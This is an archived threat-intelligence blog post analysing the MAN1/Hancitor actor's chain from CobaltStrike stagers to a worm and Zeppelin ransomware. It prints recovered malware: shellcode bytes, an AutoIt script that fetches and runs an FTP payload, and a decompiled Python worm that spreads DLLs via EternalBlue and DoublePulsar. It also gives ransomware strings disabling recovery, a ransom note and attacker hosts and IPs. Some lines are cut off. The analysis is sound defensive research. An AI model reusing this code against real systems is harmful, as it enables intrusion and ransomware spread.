MAN1, Moskal, Hancitor and a side of Ransomware
By Jason Reaves
Published: 2021-01-10 · Archived: 2026-04-05 13:09:36 UTC
Press enter or click to view image in full size
MAN1 AKA Moskalvzapoe AKA TA511 are all names given to a threat actor(TA) that has been active in most
major crimeware activities since at least 2014.
Within the last few years most of the major e-crime groups have shifted away from normal banking trojan
operations and moved towards ransom and data theft, this transition has proven to be very beneficial for them —
even though it is a drastic shift from the older days where locking activities were considered to be low-tier
activities and a waste of an infection.
Press enter or click to view image in full size
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
Page 1 of 20
Ransomware payments from FBI, Photo Credit FBI Special Agent Joel DeCapua
As more groups began pivoting to enterprise-focused ransomware activities into 2020, it caused a trend where
companies began funding these e-crime groups through ransom payments, turning them into criminal
organizations with funding that rivals any major security startup. MAN1 is no exception as many researchers
started to notice that Hancitor/Chanitor campaigns began leading to CobaltStrike.
In the linked sandbox report from the SANS article we can download and decode the chanitor/hancitor task listed:
http://yudiartawan.com/a
The file can be decoded by using the first 8 bytes as a XOR key and then LZNT decompressing the result.
After decoding the file we are left with a packed CobaltStrike stager, these stagers are built from CobaltStrike
much like the beacon files as both will share the same watermark. After unpacking we can decode the shellcode
that will be responsible for downloading the beacon file:
\xfc\xe8\x89\x00\x00\x00`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\xc0\xac>> a = ‘\x06\xc38\xaa’
>>> data = open(‘tYX7.decoded’, ‘rb’).read()
>>> data.find(a)
202686
>>> data[202650:202700]
‘ijiy9&:=iiiiiiiiiiiiiuikimiiiiiLikim\x06\xc38\xaaiOihikiiiN’
Then do a VT content search based on part of the encoded data:
content:"{696b696d06c338aa}"
Which leads to a bunch of files for pivoting to.
Press enter or click to view image in full size
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
Page 3 of 20
If the CS package is shared or leaked however then it can lead you down all sorts of rabbit holes, you can use it
find lots of samples and then automate decoding all the config data and compare the beacon config and templating
to try to find more related files.
For now I’m interested in a sample that talks to the IP and is packed with the same packer as the previous one:
bd3c278309e4fe19f7b424ee0b56a1a2c0bbae3a59882d5b6f171d3ca89f728b
Unpacking this file gives us similar shellcode:
\xfc\xe8\x89\x00\x00\x00`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\xc0\xac "WIN_10" Then
If NOT FileExists("C:\Programdata\RunDLL\Doublepulsar-1.3.1.exe") OR NOT File
ConsoleWrite("Downlading Scaner.dat" & @CRLF)
Local $ftp_xmrigcpu64 = "scaner.dat"
Local $hopen = _ftp_open("FTP")
Local $hconn = _ftp_connect($hopen, $server, $username, $pass, 1)
Local $ftpg = _ftp_fileget($hconn, $ftp_xmrigcpu64, "C:\Programdata\W
Local $isize = _ftp_filegetsize($hconn, "/" & $ftp_xmrigcpu64)
ConsoleWrite($isize & @CRLF)
Local $iftpc = _ftp_close($hconn)
Local $iftpo = _ftp_close($hopen)
FileSetAttrib("C:\ProgramData\WindowsTask\scaner.dat", "+SH")
Sleep(300)
FileMove("C:\Programdata\Windowstask\scaner.dat", "C:\Programdata\Win
FileSetAttrib("C:\ProgramData\WindowsTask\scaner.exe", "+SH")
Sleep(300)
Run("C:\Programdata\WindowsTask\scaner.exe -pnaxui")
Sleep(2000)
FileDelete("C:\Programdata\WindowsTask\scaner.dat")
FileDelete("C:\Programdata\WindowsTask\scaner.exe")
FileSetAttrib("C:\ProgramData\RunDLL\*.*", "+SH")
FileSetAttrib("C:\ProgramData\RunDLL", "+SH")
EndIf
Sleep(2000)
If NOT ProcessExists("system.exe") Then
If NOT ProcessExists("Msiexec64.exe") Then
If FileExists("C:\ProgramData\RunDLL\start.exe") Then
Run("C:\ProgramData\RunDLL\start.exe")
ConsoleWrite("Staring Scaner RunDLL.exe" & @CRLF)
EndIf
EndIf
EndIf
EndIf
FTP server is on same range as some of the CS boxes:
learinmica .com. 600 IN A 31.44.184 .108
scaner.dat — 3f51abd78e607bcd707cbd2f4d90a3d02d5d00fa07320a88838c373239ee6d4b
This file is a password protected self extracting rar, the password is naxui from the detonation above in the script.
After unpacking the files we are left with a bunch of files related to EternalBlue and DoublePulsar but the script
above is mainly related to detonating start.exe
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
Page 12 of 20
start.exe — 54081e33bcd09d29d065533c230256e49adff2edd48f5eb91a2434c03dd9ecb9
This file is a SFX RAR with a vbs inside of it, the VBS file just detonates another file that was unpacked:
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "cmd.exe /c Rundll.exe", 0, false
rundll.exe — 8b58e3a1a6a11225050af6c82e92451779c0315a602d19ad330e175a7c416bf6
This is a compiled python script which we can decompile:
import subprocess
import time
import threading
import socket
import sys
import random
import os
try:
MyIP = socket.gethostbyname_ex(socket.gethostname())[2]
except:
MyIP = '10.0.0.2'
def EternalBlue(ip):
path = 'Eternalblue-2.2.0.exe'
inconfig = ' --inconfig Eternalblue-2.2.0.xml'
NetworkTimeout = ' --NetworkTimeout 60'
TargetIp = ' --TargetIp %s' % ip
TargetPort = ' --TargetPort 445'
Target = ' --Target WIN72K8R2'
summ = path + inconfig + NetworkTimeout + TargetIp + TargetPort + Target
PIPE = subprocess.PIPE
p = subprocess.Popen(summ, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT)
output = p.communicate()
output = list(output)
output = output[0].split('\r\n')
if output.count('[+] CORE terminated with status code 0x00000000') == 1 and output.count(' [+
x = 'good x64'
return x
elif output.count('[+] CORE terminated with status code 0x00000000') == 1 and output.count('
x = 'good x86'
return x
else:
x = 'not good'
return x
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
Page 13 of 20
def Pulsar(ip, arch, dll):
path = 'Doublepulsar-1.3.1.exe'
inconfig = ' --inconfig Doublepulsar-1.3.1.xml'
NetworkTimeout = ' --NetworkTimeout 60'
TargetIp = ' --TargetIp %s' % ip
TargetPort = ' --TargetPort 445'
DllPayload = ' --DllPayload %s' % dll
DllOrdinal = ' --DllOrdinal 1'
ProcessName = ' --ProcessName lsass.exe'
Protocol = ' --Protocol SMB'
Architecture = ' --Architecture %s' % arch
Function = ' --Fuction RunDll'
processCommandLine = ' --processCommandLine'
summ = path + inconfig + NetworkTimeout + TargetIp + TargetPort + Architecture + DllPayload + Pro
PIPE = subprocess.PIPE
p = subprocess.Popen(summ, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT)
output = p.communicate()
list(output)
output = output[0].split('\r\n')
def scaner(ip):
try:
os.remove('Result.txt')
except:
pass
Result = []
scan = 'system.exe TCP %s 445 150 /save' % ip
PIPE = subprocess.PIPE
p = subprocess.Popen(scan, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT)
output = p.communicate()
for line in open('Result.txt', 'r').read().split('\n'):
if line.find('Open') > 1:
Result.append(line.split(' ')[0])
print Result
os.remove('Result.txt')
return Result
def scaner_local(ip):
try:
os.remove('Result.txt')
except:
pass
Result = []
scan = 'system.exe TCP %s 445 150 /save' % ip
PIPE = subprocess.PIPE
p = subprocess.Popen(scan, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT)
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
Page 14 of 20
output = p.communicate()
for line in open('Result.txt', 'r').read().split('\n'):
if line.find('Open') > 1:
Result.append(line.split(' ')[0])
for x in MyIP:
if x in Result:
Result.remove(x)
os.remove('Result.txt')
return Result
def attack(lst):
status = EternalBlue(lst)
if status == 'good x64':
Pulsar(lst, 'x64', 'x64.dll')
print 'Attack %s good' % lst
elif status == 'good x86':
Pulsar(lst, 'x86', 'x86.dll')
print 'Attack %s good' % lst
else:
print 'Attack %s not good!!!' % lst
def attack2(lst):
status = EternalBlue(lst)
if status == 'good x64':
Pulsar(lst, 'x64', '2x64.dll')
print 'Attack %s good' % lst
elif status == 'good x86':
Pulsar(lst, 'x86', '2x86.dll')
print 'Attack %s good' % lst
else:
print 'Attack %s not good!!!' % lst
def new_start():
print 'STARTED'
scanlist = []
lst = []
for line in open('scan.txt', 'r').read().split('\n'):
for unit in line.split(' '):
scanlist.append(unit)
randomip = random.choice(scanlist)
lst = scaner(randomip)
for y in lst:
thread_ = threading.Thread(target=attack2, args=(y,)).start()
while threading.active_count() > 2:
time.sleep(5)
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
Page 15 of 20
print 'FINISHED'
def start_local():
print 'STARTED_local'
lst = []
for ip in MyIP:
lst = scaner_local(ip + '/16')
for y in lst:
thread_ = threading.Thread(target=attack, args=(y,)).start()
while threading.active_count() > 2:
time.sleep(5)
print 'FINISHED'
def new_random():
print 'STARTED'
randomip = str(random.randint(1, 254)) + '.' + str(random.randint(0, 254)) + '.' + '0.' + '0'
print 'scan ' + randomip + '/16'
lst = scaner(randomip + '/16')
for y in lst:
thread_ = threading.Thread(target=attack, args=(y,)).start()
while threading.active_count() > 2:
time.sleep(5)
print 'FINISHED'
while True:
new_start()
start_local()
Ultimately this script is using DoublePulsar and EternalBlue to spread the x86.dll,x64.dll,2x86.dll,2x64.dll files
which turn out to be fairly simplistic downloaders:
User-Agent RookIE/1.0
hxxp://learinmica.com/update/update[.]rar
The file will be stored in the ProgramData directory and leads to similar Autoit executables for using scaner.dat
and CS stagers leading to more CS servers:
taskhosta.exe - e2f686f17b73398d949998e46c7fde48d0507b324a811df39cdd91531deb3d89
This is a CS stager using a different watermark and downloading a beacon from:
31.44.184 .50/nECf
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
Page 16 of 20
The other file we previously mentioned from 45.142.213[.]167:
oxford.exe - 6e4459199d7fbdc4c215e595906e78fdd1c15ad3be6abed6540b80de17b63f3b
This is VegaLocker ransomware version Zeppelin, we can quickly decode all the onboard strings:
>>> import re
>>> t = re.findall('''\xff\xff\xff\xff.\x00\x00\x00''', data)
>>> len(t)
268
>>> def decode(blah):
... rc4 = ARC4.new(blah[:0x20])
... return rc4.decrypt(blah[0x20:])
...
>>> import struct
>>> for val in t:
... o = data.find(val)
... (a,b) = struct.unpack_from('
NtQuerySystemInformation
NtQuerySystemInformation
1767974731E6E223476E65712463554E87F55542B120AB1CE64651031B43D6AF4DECB1CF8ED6E71FED2376C3169F7A33AC239
1767974731E6E223476E65712463554E87F55542B120AB1CE64651031B43D6AF4DECB1CF8ED6E71FED2376C3169F7A33AC239
{15F7DAB8-8C18-A41B-BFCD-C970AE422622}
bcdedit /set {default} bootstatuspolicy ignoreallfailures;bcdedit /set {default} recoveryenabled no;w
boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntdetect.com;ntldr;ntuser.dat;ntuser.dat
:\$Windows.~bt\;:\System Volume Information\;:\Windows.old\;:\Windows\;:\intel\;:\nvidia\;:\inetpub\l
QueryFullProcessImageNameW
Veeam.Backup.Manager.exe;Veeam.Backup.Agent.ConfigurationService.exe;Veeam.Backup.BrokerService.exe;V
.bat;.cmd;.com;.cpl;.dll;.msc;.msp;.pif;.scr;.sys;.log;.lnk;.zeppelin;
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
Page 17 of 20
!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT
!!! ALL YOUR FILES ARE ENCRYPTED !!!
All your files, documents, photos, databases and other important files are encrypted.
!!! YOUR FILES ARE ENCRYPTED !!!
All your files, documents, photos, databases and other important
files are encrypted.
You are not able to decrypt it by yourself! There is only one method
of recovering files it is purchase an unique private key.
Write to angry_war@protonmail.ch
Your personal ID:
Attention!
* Do not rename encrypted files.
* Do not try to decrypt your data using third party software, it may cause permanent data loss.
We can continue pivoting on some of the CobaltStrike C2 servers, their admin ports are 43890 instead of the
default 50050 and the cert is static:
s:C = US, ST = Washington, L = Redmond, O = Microsoft Corporation, OU = Microsoft Corporation, CN = O
I wrote up a tool for cert scanning ranges a number of years ago for a local conference and we can use it here to
scan entire ranges looking for this actors infrastructure.
4a08189c6f97c3b9a424f1f18c5c4356beaf1b3e
IP: 31.44.184.181 -